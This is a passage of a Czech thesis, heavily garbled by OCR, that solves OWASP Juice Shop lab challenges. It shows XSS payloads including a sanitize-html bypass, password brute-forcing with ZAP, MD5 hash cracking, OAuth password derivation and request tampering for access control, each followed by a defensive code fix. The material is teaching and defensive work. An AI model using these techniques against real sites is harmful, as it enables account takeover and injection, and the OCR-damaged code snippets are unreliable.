if (lutils.disableOnContainerkEnv()) {
utils.solveIf(challenges.persistedXssUserChallenge, () { return

utils.contains(email, '<iframe src="javascript:alert( xss )">"') })

}

email = insecurity.sanitizeSecure(email)
.setDataValue('email', email)

Po této upravé jiz nebude mozné ulozit do emailové adresy Skodlivy kod, tak aby

se ve strance s uzivatelskym profilem, ¢i jiné strance zobrazujici email spustil.

Dalsim zptsobem napadeni je provést XSS ttok tak, abychom dokézali prolomit validaci
vstupnich informaci na serveru. Na rozdil od pfedchozich uloh ndm tedy nebude stacit pouze
obejit zabezpeceni v klientské ¢asti aplikace, ale budeme muset provést takovy pozadavek,

ktery tyto validace na serveru dokaze obejit.

V aplikaci se miize nachazet starSi verze knihovny, ktera je urcena k sanitizaci na strané
serveru. V tomto piipad€ aplikace vyuziva knihovnu sanitize-html ve verzi 1.2.4, coz
je praveé knihovna pouzitéd na jiz zminéné validace.

Na internetu posléze nalezneme, Ze dand verze sanitize-html lze zneuZzit pomoc XSS.
Nalezneme diskuzi, kde jeden z uZivateld nahlasil zranitelnost a uvedl piiklad zneuZiti.

Na obrazku nize (viz. Obr. 34) mlizeme vidét ¢lanek z diskuze. [46]

bkimminich commented on 14 Oct 2014

Sanitization is not applied recursively, leading to a vulnerability to certain masking attacks. Example:

T am not harmless: <<img src="csrf-attack"/>img src="csrf-attack"/> is sanitized to I am not harmless: <img src="csrf-

attack™/»

Mitigation: Run sanitization recursively until the input html matches the output html.

Obr. 34. Nalezeny piiklad zranitelnosti v diskuzi
My budeme chtit stejn¢ jako v ptedchozich ptikladech vlozit nas Skodlivy kod, ktery vyvola
vyskakovaci okno v aplikaci a to <iframe src="javascript:alert('xss’)">. Na zéklad¢ daného
ptikladu upravime nés skodlivy kod dle pozadovaného tvaru tak, abychom dokézali zneuzit

zminénou zranitelnost. Upravime jej do vySe zminéného tvaru, tedy:

<<iframe src="javascript:alert( xss )">iframe src="javascript:alert( xss )">
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Nyni ndmi upraveny kod budeme chtit vlozit na vhodné misto v aplikaci. Tim se zda byt
vstupni pole pro vlozeni komentafe od uzivateld. Do komentéie vlozime upraveny kod

a hodnoceni odesleme jako na obrazku Obr. 35.

Customer Feedback

Comment

<<iframe src="javascript:alert("xss")">iframe
src="javascript:alert("xss™)">

0 Max_ 160 characters 76/160

Rating

CAPTCHA: Whatis 8-8+1 ?

Result

10

Obr. 35. Hodnoceni se Skodlivym kodem
Nyni nalezneme v aplikaci misto, kde se zobrazuji hodnoceni uzivatelii. Takovou stranku
muzeme v aplikaci nalézt na adrese http://localhost:3000/#/about, pii jejiz navstéveé dojde
ke spusténi ndmi vlozeného kodu. Nyni jakykoli uzivatel navstivi danou stranku, spusti

se mu nas kod.

Jelikoz vime, Ze tato zranitelnost zneuziva chyby v pouzité knihovné pro oSetieni HTML.
Muzeme tedy tuto zranitelnost oSetfit instalaci novejsi verze této knihovny, kde je jiz tato
chyba opravena, anebo bude mozné upravit ¢ast kodu v souboru feedback.js, kde nalezneme

objekt comment, ktery budeme muset upravit.

Opét je tato zranitelnost zCasti vyfeSena, jelikoz si miZeme vSimnout, Ze funkce
sanitizeSecure je volana pouze ve stejné podmince jako v ptedchozich feSenich. Miizeme

vidét nize.
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comment: {
type: STRING,
set (comment) {
let sanitizedComment
if (lutils.disableOnContainerEnv()) {
sanitizedComment = insecurity.sanitizeHtml(comment)
utils.solveIf(challenges.persistedXssFeedbackChallenge, () => { re

turn utils.contains(sanitizedComment, ‘<iframe src="javascript:alert( xss )"
>') 1)
} else {
sanitizedComment = insecurity.sanitizeSecure(comment)

}

this.setDataValue('comment', sanitizedComment)

}
},

Jako v predchozim ptipad¢ osetfeni bude tedy opét stacit pouze odstranit else blok podminky

a vlozit funkci pro oSetfeni tak, aby se provadéla nezavisle na zminéné podmince. Upraveny

objekt bude vypadat nasledovné.

module.exports =
const Feedback
comment: {
type: STRING,
set (comment) {
let sanitizedComment
if (lutils.disableOnContainerEnv()) {
sanitizedComment = insecurity.sanitizeHtml(comment)

(sequelize, { STRING, INTEGER }) => {
= sequelize.define('Feedback"', {

utils.solveIf(challenges.persistedXssFeedbackChallenge, () => { re
turn utils.contains(sanitizedComment, ‘<iframe src="javascript:alert( xss )"

>') 1)

}

sanitizedComment = insecurity.sanitizeSecure(comment)
this.setDataValue('comment', sanitizedComment)

}
},

Nyni je vstupni pole vzdy oSetfeno a nebude mozné provést vySe zminény XSS utok.

8.3 Broken Authentication

Pod touto zranitelnosti se skryva fada bezpec¢nostnich chyb, které mohou umoznit ito¢nikim
vydavat se za legitimniho uZivatele. Mezi nejCastéjsi slabiny se fadi sprava relaci a sprava
ovéieni. Obé tyto zranitelnosti spadaji do nefunk¢niho ovérovani, diky ¢emuz mize utocnik

ukrast ID relace nebo piihlasovaci tdaje. K nalezeni a zneuZiti této zranitelnosti uto¢nici
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vyuzivaji fadu strategii, od rozsahlych ttoka s cilem ziskat jakékoli diivéryhodné ptihlaseni

az po sofistikovanéjsi ve snaze ziskat pristup konkrétni osoby.

8.3.1 Sila hesla

Jednou z nejbéznéjsich zranitelnosti v této oblasti je prave slozitost hesla. Pokud je pouzité
jednoduché nebo vychozi heslo a neni dostateCné¢ casové omezeny pocet pristupil
na API endpoint pii pifihlasovani, mize Utocnik pomérné¢ snadno zautomatizovat utok

a pomoci vhodného slovniku s hesly velmi rychle ziskat ptistup napt. administratora.

V Juice Shopu se za pomoci této zranitelnosti budeme chtit ptihléasit jako administrator.
Jelikoz emailovou adresu administratora zname, coz je admin@juice-sh.op, je potieba zjistit
pouze heslo. Nabizi se nékolik moznosti, jak heslo ziskat a nasledn¢ se uspésné prihlasit.
Jednou z nich je heslo uhodnout zkousenim moznych hesel ruéné nebo vyuZit ndstroj
na prolomeni hesla, ktery cely proces zkouSeni zautomatizuje a urychli. Nabizi se takeé

moznost prolomeni hashe hesla.

Pokud se jedna o vychozi nebo jednoduché heslo, miizeme se dobrat vysledku postupnym
zkouSenim hesel. OvSem efektivnéjsi je cely proces zautomatizovat. Pro toto pouZiti existuje
fada softwarti, v tomto pfipad€ je zvolena aplikace ZAP, kterd je vyvijena pod zastitou

organizace OWASP.

Spustime tedy ZAP a v ném pies zabudovany prohlize¢ otevieme localhost:3000 a pokusime
se piihlasit pomoci emailové adresy admin@juice-sh.op a libovolného hesla. Nevadi,
ze pozadavek skonc¢i chybou, cilem je pouze ziskat POST pozadavek do ZAP softwaru tak,

abychom jej dale mohli vyuZit pro hledani hesla.

V ZAP po pokusu o ptihlaSeni nalezneme odeslany pozadavek a pomoci pravého tlacitka
vybereme moznost Fuzzer. V ném nasledné¢ vybereme pole, které budeme porovnavat
s hesly (miZeme vidét na obrazku Obr. 36). Abychom mohli hesla porovnavat je potieba
nahrat vhodny slovnik s hesly. Jednou z moZnosti je napf. vyhledat a stahnout textovy

soubor, ktery obsahuje nékolik desitek tisic nejpouzivangjsich hesel.
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Obr. 36. Nastroj Fuzzer v aplikaci ZAP
Posléze staci Fuzzer spustit a ten bude postupné automaticky posilat POST pozadavky
s hesly z nahraného souboru. Prubézné¢ je mozné vysledky sledovat, po par minutich

nalezneme heslo k administratorskému uctu.

Dals$i moZznosti, jak zjistit heslo, je nalézt hash hesla, ktery je zahashovany jiz prolomenou
metodou. Pro ziskani tohoto hashe je zapottebi ptistoupit k databazi pomoci SQL Injection
zranitelnosti, ktera byla popsana v kapitole Injection. Prostfednictvim této zranitelnosti
je mozné v aplikaci Juice Shop ziskat data o vSech uzivatelich a jejich heslech. Hesla
v databazi jsou standardné Sifrovana nebo zahashovéna, a i nalezené heslo administratora
ma v tomto ptipad¢ nasledujici tvar 0192023a7bbd732505161069df18b500. Posléze staci
tento hash vlozit do prohlize¢e nebo pouzit nastroj pro deSifrovani rznych hashovacich
algoritmt. V tomto piipadé po vloZeni do google vyhleddvace nas hned prvni odkaz
odkazuje na adresu, kde miZeme nalézt, Ze dany hash odpovidd hodnoté adminl23.

Po vlozZeni tohoto hesla do ptihlaSeni se ptihlasime jako administrator. [47]

Abychom tuto zranitelnost oSetfili, je zapotiebi oSetfit sloZitost hesla nejen na stran¢ klienta,
ale 1 na serveru a casové omezit pocet omezeny pocet piistupii na API endpoint
pfi pfihlaSovani. Také by jiz pfi vyvijeni aplikace nemél byt pouzit prolomeny hash
algoritmus, a predevSim oSetfit pfistup do databaze. OSetfeni SQL Injection zranitelnosti

bylo feSeno jiz v kategorii Injection.
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Jednou z moznosti feSeni této zranitelnosti je tedy nastaveni oSetieni slozitosti hesla. V tuto
chvili je v Juice Shopu ovéfovana pouze délka hesla na minimalni a maximalni délku,
ato pouze na stran¢ klienta. My budeme chtit nastavit dal$i pozadavky na minimalni

slozitost hesla, jak na stran¢ klienta, tak na serveru.

Slozitost hesla budeme nastavovat podle jiz doporucené slozitosti zobrazené aplikaci

(viz. Obr. 37).
Show password advice

contains at least one lower character
contains at least one upper character

contains at least one digit

contains at least one special character
contains at least & characters

Obr. 37. Sila hesla
Na strané klienta upravime pod polem pro vkladani hesla vétu tak, aby véta odkazovala
na slozitost hesla, které mizeme vidét na obrazku vyse. Posléze je potieba najit soubor,
kde se nachazi funkce pro osetfeni hesla na strané klienta. V nalezeném souboru je pouze
funkce, ktera oSettuje délku hesla, tu upravime a ptidame do ni i dal$i podminky pro slozitost

hesla.

Po této Gprave je jiz sloZitost hesla oSetiena na strané klienta, pofad ji vSak je moZné obejit
primou komunikaci se serverem, je tedy zapotiebi udélat stejné osetfeni i na stran¢ serveru.
Jelikoz na stran¢ serveru Zadné oSetfeni hesla neprobihd, nabizi se vytvofit zcela novy
soubor. V novém souboru bude vytvorena hlavni funkce, kterd bude voldna vzdy
pfi pfichozim poZadavku na registraci. Tato funkce si z ptichoziho pozadavku ziska heslo,
které nasledné predd funkci pro ovéfeni slozitosti. Pokud Ze funkce pro ovéteni slozitosti
vyhodnoti toto heslo jako dostatecné slozité, tak jiz nic vykondvat nebude a provede
se registrace, avSak pokud heslo nebude dostate¢né slozité, tak musi skoncit chybou. Tato
chyba by méla do odpovédi, ktera je zasilana uZivateli, nastavit vhodny kdéd chyby, tedy 400

a pfipadné ptidat zpravu, ktera informuje o neplatném heslu.

NiZze ve stejném souboru vytvorime druhou funkci, ktera bude obsahovat samotnou logiku
validace hesla a bude tedy volana funkci popsanou vyse. Tato funkce bude obsahovat
podminky, které musi spliiovat heslo. V nasem piipadé¢ musi heslo spliiovat pozadavky
na maximalni a minimalni délku, musi obsahovat cislo, malé pismeno, velké pismeno

a specialni znak.
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Timto bude oSetfeni splnéno jak na stran¢ klienta, tak na stran¢ serveru.

Dalsi velmi dtlezitou logikou, abychom zamezili moznému automatizovanému hadéani hesel
v ptihlasovacim formulaii, potfebujeme néjakym zplisobem omezit maximalni pocet

zaslanych pozadavkl na dany API endpoint za néjaky casovy usek.

Jelikoz vime, Ze na backendu aplikace se vyuziva Framework Express, tak mtizeme pro tento
framework vyhledat na internetu knihovnu, kterd takovéto omezovani poctu pozadavki

umoziuje. [48]

Nainstalujeme knihovnu pomoci powershellu a npm piikazu v kofenovém adresaii Juice
Shopu. Poté co knihovnu nainstalujeme, musime pouze nadefinovat konkrétni limity

pro pfistup k API endpoint. V souboru server.js nalezneme API endpoint pro ptihlaseni.

Nalezené cesty mizeme vidét v kodu nize.

app.post('/rest/user/login', login())

Nyni musime naimportovat ndmi pfidanou knihovnu do souboru a posléze nadefinovat
objekt, do kterého vlozime pomoci naimportované funkce rateLimit konkrétni konfiguraci
omezeni pifistupu. V nasSem piipad¢€ jsme zvolili, ze kazdy uzivatel mize zaslat nanejvyse
5 pozadavkl za 5 minut. Tento objekt poté pfifadime k danému API endpointu. Cely

vysledny koéd bude vypadat nasledovné.
rateLimit = require("express-rate-limit")

defaultRatelLimit = rateLimit({
windowMs: 5 * 60 * 1000,

app.post('/rest/user/login', defaultRatelLimit, login())

Po této upravé je jiz nastaven limit omezujici pfistup na API endpoint pro piihlaseni.

8.3.2 OAuth autentizace

V dnesni dobé tada aplikaci vyuziva ptistupy pomoci OAuth autentizace. Jedna se naptiklad
o ptihlaSeni pomoci Gmailu, Facebook uctu a podobné. V aplikaci Juice Shop je moznost
pfihlaSeni pomoci Google emailové adresy. V tomto piipadé se budeme chtit pfihlasit
pod Gétem bjoern.kimminich@gmail.com. Abychom zjistili, jak v aplikaci pfihlaSeni

pomoci gmailu funguje, zkusime se ptihlasit pod svym tctem a cely proces budeme sledovat
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napf. v sitové zalozce pomoci Google DevTools. Zde mtizeme vidét, Ze je po piihlaSeni
vytvofen ucet s naSi emailovou adresou a je vytvoieno heslo. Musime tedy nalézt, jakym

zpusobem se heslo generuje.

Nabizi se tedy napt. v DevTools souborové zalozce vyhledat zdrojové kody, které provadé;i
ptihlaSeni pomoci OAuth. V tomto pifipad¢ nalezneme funkci, kterou mizeme vidét na

obrazku Obr. 38.

ngoOnInit() {
this.us rvice.oauthlogin(this.parseRedirectUrlParams().access token).subscribe(t=>{
C = btoa(t.email.split("").reverse().join(""));
erService.save({
email: t.email,
password: e,
passwordRepeat: e
1) .subscribe(()=>{
this.login(t)

f ()=>this.login(t))
) _-=>{

invalidateSession(t)
his.ngZone.run(async()=>await this.router.navigate([

Obr. 38. Funkce pro piihlaseni pomoci OAuth
Na obrazku vyse vidime, ze Password: e, kdy e je vytvorena konstanta zadana vyse v kodu

a to:

btoa(t.email.split("").reverse().join(""))

Pfesuneme se do zalozky konzole a vlozime vySe zminény kod, kde misto t.email vlozime

bjoern.kimminich@gmail.com a kod bude vypadat nasledovné:

btoa("bjoern.kimminich@gmail.com".split("").reverse().join(""))

Pozadavek poSleme a vygeneruje se nam heslo, které odpovidda danému emailu, v tomto
ptipadé¢ bW LmxpYWI1nQGhjaW5pbWlpaySucmVvaml=. Posléze se emailem

a vytvofenym heslem ptihlasime pod cizi tcet.

Pro oSetfeni této zranitelnosti je potteba Cast kodu, ktera generuje heslo piesunout

ze soubort, které jsou ptistupné vSem névstévnikiim webové stranky na server.

Abychom oSetfili tuto zranitelnost, bude zapotiebi celé generovani hesla pfi piihlaSeni
pomoci google G¢tu provadét na strané serveru tak, aby jiz nebylo nikde vetejné zobrazeno,
pomoci jaké funkce se generovani heslo provadi a nebylo tak mozné si jej jednoduse

domyslet pro takto ptihlaSené uzivatele.
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Na serveru budeme muset vytvofit novou funkci, kterd v ptipad¢ ptihlaseni pies oAuth
vygeneruje heslo a vytvoii uzivatele na stran€ serveru. Tuto funkci pojmenujeme napiiklad
oauthPassword. Tato funkce bude muset obsahovat podminku, ktera zjisti, zda uzivatele
chceme registrovat na zakladé¢ oAuth piihlaseni a v takovém ptipad¢ vygeneruje heslo
na zéklad¢ emailové adresy. Zde bychom mohli heslo generovat libovolnym zptsobem,
my vsak pro zjednoduSeni pouzijeme stejny zptisob vytvoreni hesla, jako jiz bylo provadéno
na klientské stran¢, pomoci nésledujicich funkci Buffer.from(email).toString(‘base64").
I kdyz tyto funkce jsou jinak pojmenovany v porovnani stémi pouzitymi v klientské
aplikaci, tak provadéji totoznou logiku a hesla se tedy budou shodovat s témi, které aktuélné

generuje klientska aplikace. Vytvorend funkce bude vypadat nasledovné.

module.exports.oauthPassword = function () {
return (req, res, next) => {
if (req.body.oauth) {
const email = req.body.email;
const password = Buffer.from(email).toString('base64');
models.User.create({
email: email,
password: password
}).then(user => {
res.status(201).json({ status: 'success', data: { email: email, pass
: password } });
}).error(() => {
res.status(201).json({ status: 'success', data: { email: email, pass
: password } });
1)
else {
next();

Dale bude potieba funkeci ptidat k pfisluSenému API endpointu, ktery nalezneme v souboru
server.js. Po této Uipravé mame jiZ serverovou ¢ast hotovou, nyni bude potieba upravit cast
kédu na strané klienta. Tento kdd nalezneme v souboru oauth.component.ts. Nés bude

zajimat konkrétné tato ¢ast kodu.

const password = btoa(profile.email.split('"').reverse().join(""))

this.userService.save({ email: profile.email, password: password, pass
wordRepeat: password })

Odstranime cely fadek s definici konstanty password a na dal$im fadku, ktery provadi volani

za ucelem registrace, odstranime heslo a pfiddme parametr oauth, na zaklad¢, kterého bude



UTB ve Zliné, Fakulta aplikované informatiky 68

server schopen identifikovat, Ze ma vygenerovat heslo. Upravena ¢ast kédu bude vypadat

nasledovné.

this.userService.save({ email: profile.email, oauth: true })

Nize ve stejném souboru nalezneme kod, ktery provadi volani piihlaSeni po Uspésné
registraci oauth uzivatele, kde je taktéZz zminén zptisob Sifrovani hesla. Poté co 1 tuto Cast
upravime, jiz nebude mozné na stran¢ klienta nalézt zptisob Sifrovani hesla pii ptihlaseni

pomoci oAuth.

8.4 Broken Access Control

Prostfednictvim nedostate¢ného oSetfeni pristupt mize dojit k ziskani a nasledné€ k zneuziti
opravnéni. Ziskané opravnéni mize mit za nasledek provadéni funkci jako jiny uzivatel,
¢i dokonce jako spravce. Takové jednani mize mit za nasledek negativni dopad na celou
webovou aplikaci, naptiklad pokud by doSlo k odstranéni vSech kladnych hodnoceni
a pridani negativnich, piepsani vSech komentaiti u produkti nebo manipulace s koSikem
jiného uzivatele. Pti tvorbé webovych aplikaci je tedy potfeba dbat na zasady vynucujici
fizeni pristupt tak, aby uzivatelé nemohli jednat mimo jejich opravnéni. Nize je popsano
nékolik moznosti, jakym zplsobem lze ziskat cizi opravnéni a nasledné poSkodit

jak uzivatele, tak snizit divéru celé webové aplikace.

8.4.1 Zapomenuta zpétna vazba

Jednou z moznosti, jak prostfednictvim nedostatecného oSetieni pfistupu mizeme poskodit
jak jiného uZzivatele, tak samotnou stranku je zaslani negativni zpétné vazby pod jinym

uzivatelem, ktera se nasledné bude zobrazovat na strankach.

V aplikaci Juice Shop se tedy zaméfime na stranku pro vkladani zpétné vazby. Je mozné
vlozit zpétnou vazbu jak jako prihlaSeny uzivatel, tak i anonymné. Pomoci nastroji
DevTools zanalyzujeme stranku, konkrétné budeme prohliZzet jednotlivé elementy
formulare. Zajima nas piedevsim pole autora. Po pe€livém prozkoumani nalezneme kod nize

na obrazku.
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Elements

Obr. 39. Nahled v zalozce prvka
Z tohoto uryvku kodu (Obr. 39) mizeme vydedukovat, zZe zpétnou vazbu lze odeslat jak
anonymn¢ tak pod uzivatelskym jménem, pfestoze nejsme ptihladseni. Vstupni pole s ID

uzivatele je skryto pomoci hidden atributu.

V prohlize¢i mizeme do kodu zasahovat, odstranime tedy hidden atribut, ¢imz se ndm
na strance zobrazi pole, kde posléze mizeme vlozit jakékoli ID registrovaného uzivatele

(mtzeme vidét na obrazku Obr. 40).

Customer Feedback

Comment

TEST

© Max. 160 characters

Rating

CAPTCHA: Whatis 8*6%7 ?

Result

336

Obr. 40. ID pole po odstranéni hidden atributu
Vyplnime v§echny pole a formulaf odesleme. V sitové zalozce miiZeme vidét, ze pozadavek
byl v poradku odeslan. Jelikoz webova aplikace obsahuje stranku, kde jsou vSechny zpétné
vazby zobrazeny, miZeme se na ni pfemistit a vidét, Ze pfestoZe jsme nebyli piihlaseni,

komentaf byl napsan uzivatelem, ktery ma uzivatelské ID 2.
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Abychom oSetfili tuto zranitelnost, bude zapotiebi nalézt HTML soubor, ktery obsahuje
skryté¢ vstupni pole s ID uzivatele na strance pro poskytovani zpétné vazby. Takovym

souborem je v tomto piipadé contact.component.html. Konkrétn¢ nas zde bude zajimat

nasledujici ¢ast kodu.

hidden type="text" id="userId" [formControl]="userIdControl"

Pro vyieSeni této zranitelnosti bude stacit celou tuto ¢ast odstranit, piipadné zakomentovat.
Diky tomu jiz nebude mozné ménit ID uzivatele v HTML formulati a diky jiz existujici
logice se pfi aktualizaci uzivatelského profilu pouzije spravné ID uzivatele. Jiz tedy neni

z nasi strany nutné pridavat zadné dal$i zmény a zranitelnost je timto oSetfena.

8.4.2 VlozZeni komentare pod jinym uZivatelem

Nize popsany Utok miize zapticinit vloZzeni komentafe pod jinym uZzivatelem, nez jsme
skute¢n¢ ptihlaSeni. V juice Shopu se vhodnym mistem zdd byt hned prvni stranka
s produkty, u kterych se nachazeji komentare a recenze uzivatelll. Po pfihlaSeni do aplikace
muzeme taktéz vlozit komentai. Nabizi se tedy vlozit komentét k jednomu z produktii a cely
proces sledovat napft. v sitové zalozce. Zde nalezneme pozadavek PUT, kterym je komentaf
k produktu vlozen, ten posléze zkopirujeme pomoci Copy as fatch a vlozime do konzole

(Obr. 41).

Elements Console Sources g rfor £ on S ty Lighthouse

Obr. 41. Vlozeny pozadavek PUT do konzolové zalozky
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V  konzoli  opravime pouze pole "author":admin@juice-sh.op  napiiklad
na "author":"ATTACKER", nebo jakéhokoli jiného uzivatele a pozadavek posléze

odesleme. Upravu miizeme vidét na obrazku Obr. 42.

Obr. 42. Zménéna ¢ast pozadavku
Pozadavek se uspeésné provede a u produktu se objevi novy komentar s autorem, kterého

jsme zadali. Takovym zpisobem mtzeme vlozit komentat pod jakymkoli uzivatelem.

K vyfeseni této zranitelnosti bude potfeba nalézt funkci, kterd provadi vlozeni komentare
k produktu. Takovou funkci nalezneme v souboru createProductReviews.js.

Nize mizeme vidét nalezenou funkci. Po jejim prozkoumani mizeme vidét, Ze zde chybi
jakakoliv podminka, kterd by ovétovala, zda se emailova adresa, pod kterou chceme

komentar vlozit, shoduje s ID ptihlaSeného uzivatele.

module.exports = productReviews () {
return (req, res, next) {
user = insecurity.authenticatedUsers.from(req)
utils.solveIf(challenges.forgedReviewChallenge, () { return user && u
ser.data.email !== req.body.author })
db.reviews.insert({
product: req.params.id,
message: req.body.message,
author: req.body.author,

likesCount: o,
likedBy: []
}).then(result {
res.status(201).json({ staus: 'success' })

}, err => {
res.status(500).json(err)

Je tedy potieba do této funkce vlozit podminku, ktera bude kontrolovat, zda se emailova
adresa posiland v HTTP pozadavku shoduje s emailovou adresou aktudln¢ piihldSeného
uzivatele. Do kédu v tomto ptipadé pfiddme podminku user.data.email == req.body.author.

Pokud se tedy email neshoduje s ID ptihlaseného uzivatele, tak bude uzivateli vracena
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odpovéd’ s chybou. V opacném ptipadée, kdy se tyto udaje shoduji, se pozadavek provede

a k produktu bude ptidan vkladany komentas. Nize je jiz upravena funkce.

module.exports = productReviews () {
return (req, res, next) {
user = insecurity.authenticatedUsers.from(req)
if (user.data.email !== req.body.author) {
res.status(400).json({ status: 'error', data: 'Invalid author."' })
} else {
utils.solvelIf(challenges.forgedReviewChallenge, () { return user &&
user.data.email !== req.body.author })
db.reviews.insert({
product: req.params.id,
message: req.body.message,
author: req.body.author,
likesCount: o,
likedBy: []
}).then(result {
res.status(201).json({ staus: 'success' })
}, err {
res.status(500).json(err)

Po této Upravé jiz neni mozné vlozit komentar pod jinou emailovou adresou nez tou,

pod kterou je uzivatel ptihlasen.

8.4.3 Manipulace koSiku jiného uZzivatele

Na této ukédzce v Juice Shopu je demonstrovano, jak prostfednictvim nedostatecného
oSetfeni pristupu je mozné vkladat produkty do kosSiku jiného uzivatele. Podobné jako
v pfedchozim ptikladu se pfihlasime a vloZime produkt do koSiku a cely proces budeme
sledovat v sitové zalozce. V ni nalezneme odeslany pozadavek pro vloZeni produktu
do kosiku. Tento pozadavek zkopirujeme pomoci Copy as fatch a vloZzime do konzolové

zalozky.

NiZe na obrazku (Obr. 43) je zkopirovany pozadavek, kde jsme zkusili do jeho téla vlozit
ID jiného uzivatele a to zménime napft. z "Basketld":"1" na "Basketld":"2". Tento ptikaz

skon¢i chybou, jelikoZz autor neni autorizovany.
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Elements Console

v POST http: ocalh : 3000 sketTten 01 (Unautho
(anonymous) @ VI
t.fetch @ polyfills-e

(anonymous) @

» Fetch failed loading: POST "http://localhos

Obr. 43. Chybova hlaska chybné autorizace
Zduplikujeme tedy parametr "Basketld", s tim, Ze prvni parametr autorizuje pozadavek
a druhy bude ID uzivatele, pro n€jz ma byt produkt do kosiku vloZen. Té€lo bude vypadat

nasledovné:

include™

Promise {<pending>}

» Fetch finished loading: POST “h

»XHR finished loading: GET "htt

Obr. 44. Odeslany pozadavek probéhl tispésné
Jak mazeme vidéet vySe (Obr. 44), po této Uprava jiz pozadavek probehne korektné a produkt

se vlozi do kosiku jiného uzivatele.

Pro oSetfeni této zranitelnosti bude potfeba upravit ¢ast kodu, ktera vykondva ptidani
produktu do koSiku. Tento kod se nachazi v souboru basketltems.js. Pro nas zajimavou ¢ast
kodu mizeme vidét v nasledujici ukazce. Mizeme vidét, Zze cyklus v horni ¢asti kddu

provadi kromé jiného ziskavani parametrii Basketld, tedy ID koSiku z ptichoziho pozadavku
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a uklada je do proménné basketlds. Dale si miizeme vSimnout podminky, kterd ovétuje, zda
pozadavek obsahuje alespon jeden Basketld parametr a zda hodnota tohoto prvniho Basketld
parametru odpovidd ID koSiku aktualné ptfihlaseného uzivatele. Kod nize poté provede
vloZeni do koSiku pomoci objektu basketltem. Miizeme si v§imnout, Ze pro vybrani, které
Basketld bude pouzito, se v kédu nachazi nasledujici - basketlds[basketlds.length - 1],
coz zpusobi, Ze jako ID kosiku, do kterého bude produkt vlozen, se pouzije posledni
Basketld parametr z HTTP pozadavku. Diky vySe popsanému chovani se tedy pii zaslani
dvou riiznych Basketld parametrii provede ovéreni, zda do kosiku vklada uzivatel, kterému
patii, pomoci prvniho Basketld, avSak polozka bude vlozena do kosiku pomoci druhého

zaslaného Basketld.

for ( i =0; i< result.length; i++) {
if (result[i].key === 'ProductId') {
productIds.push(result[i].value)
} else if (result[i].key === 'BasketId') {
basketIds.push(result[i].value)
} else if (result[i].key === 'quantity') {
quantities.push(result[i].value)

¥
¥

user = insecurity.authenticatedUsers.from(req)
if (user && basketIds[@] && basketIds[@] !== 'undefined' && user.bid !=
basketIds[0]) {
res.status(401).send('{\'error\' : \'Invalid BasketId\'}")
} else {
basketItem = {

ProductId: productIds[productIds.length - 1],

BasketId: basketIds[basketIds.length - 1],

quantity: quantities[quantities.length - 1]

}

Pro oSetteni této zranitelnost ndm tedy stait zménit kod tak, aby se pro vkladani do koSiku
pouzilo stejné ID kosiku, jaké se pouziva v podmince vyse. Navic mizeme stejnou zménu
v objektu basketltem provést i pro polozky productlds a quantities, abychom dosahli
ucelen¢ho chovani tak, ze bude vzdy zpracovavan prvni z vyskytl parametru, bude-li jich
zaslano vic.

basketItem = {
ProductId: productIds[@],

BasketId: basketIds[@],
quantity: quantities[0]

Po této Uipravé je zranitelnost oSetfena a neni mozné vkladat produkty do jiného kosiku.
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9 TVORBA SOUBORU S RESENYMI ULOHAMI

V ramci diplomové prace jsou vytvoreny ¢tyii PDF soubory s feSenymi tlohami. Konkrétné
se jedna o feSené zranitelnosti v oblasti Injection, Cross-site scripting, Broken

Authentication a Broken Access Control.

V aplikaci Juice Shop se nachazi nejbéznéjsi zranitelnosti z téchto oblasti, 1 proto byla
pro demonstraci téchto bezpecnostnich zranitelnosti vybrana pravé tato aplikace. Projekt
Juice Shop vznikl pravé pro ucely testovani a demonstrovani nejb€znéjSich zranitelnosti
a neustale je aktualizovan a dopliiovan o aktudlni bezpecnostni zranitelnosti. V ramci tohoto
projektu je vyuzita v aplikaci metoda gamifikace. Cilem této metody je zaujmout feSitele
a motivovat k feSeni jednotlivych tloh metodou hry. V aplikaci miZeme naleznout stranku
sndzvem Score Board, kde se nachdzeji vSechny zranitelnosti, které webova aplikace
obsahuje a mizeme je zde filtrovat podle kategorie bezpe¢nostnich zranitelnosti nebo
obtiznosti nalezeni. U kazdé bezpeCnostni zranitelnosti je také odkaz na kratky popis

o konkrétni zranitelnosti a piipadné i rada, kde danou zranitelnost hledat.

Pro kazdou kategorii bezpecnostnich zranitelnosti byl vytvotfen jeden soubor, ve kterém jsou

vvvvvv
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Nalezeni a oprava bezpecnostnich zranitelnosti

OWASP Juice shop 12.5.9
Injection

Bc. Kristyna Hasilikowva
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Obr. 45. Titulni strana souboru fesenych uloh
Na obrazku vyse (Obr. 45) je ukézka titulni strany souboru feSenych tloh jedné kategorie
bezpec¢nostnich zranitelnosti, v tomto ptipad¢ Injection. Mizeme zde vidét nazev feSené
zranitelnosti, verzi OWASP Juice Shopu a obrazek ze Score Boardu v Juice Shopu, kde jsou

vyfiltrovany feSené ulohy dané oblasti, které jsou v souboru feSeny.

Na dalsi strance se nachazi obsah a posléze jsou jiz feSeny jednotlivé ulohy. Nize na obrazku

Obr. 46 mizeme vidét ukdzkovou dvoustranku s feSenymi lohami.
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NALEZENI BEZPECNOSTNI ZRANITELNOSTI

Legin Admin ##
Cilem tohoto dkoln, je prihlésit s pomoci administrazniho Heta.

Prejdeme na stranku pro lagm it tp:// Localhost : 3606,/ Login a ples pravé tlatitko -> prozkoumat
budeme nahlizet do sifové zdlodky, kde probihaji pii piihladovni.

Obr. L. vlozeni jadnoduchs wozovky do pihliseni

Tednoduehé uvozovky v SQL sloui k otvirdni a uzavirini taxtovich fatized, spultin takoveho quars.
zpisobi chybu v detabazi a v piipads ipetného oietfeni chyb na servers v odpovidi miteme nalézt

Obr. 3. Piihlafeni

Heslo ji nemusi byt validni, jeliko? po vobeni smailn ja jiZ shytek dotars zakproentorin
Po piihlisen je kol sphnin.

qQdkgz_no. opravy_ bezpecnostni zranitelnosti 1

Login Bender o

Cilem tohoto dkolu je piihlisit 2= pomoci Bendesovéhe, et Projdeme ki si jednotlivé produkty
~ i shamy, Zjistime, Ze u nikterich prodults jsou jif komentife piiblifenfch utivateld Migsme
tak gjistit piihlafovaci emaily téch, kiefi piidali kementif. Timto zpisobem mifeme ziskat
piiblasovaci smail Benders, ten j= tady bender@juice-sh op.

citlivs dats, v nadem piipads podobu SQL dotem
V tuto cirili vyuijeme anitelosti, ktesou jsme gistili v piedchozim tkolu 2 upravime quay gk,
aby byl piihlizen konkrétal ugivatel

SQL mriizs vypadat misledovni:

Obr. 2. hittp adpovid ebsahujici databizavy dotaz ?.Et;z::::‘;eu:zi:._mn:ir::.-;?I:r;; W 15 .\..I..L. e e )
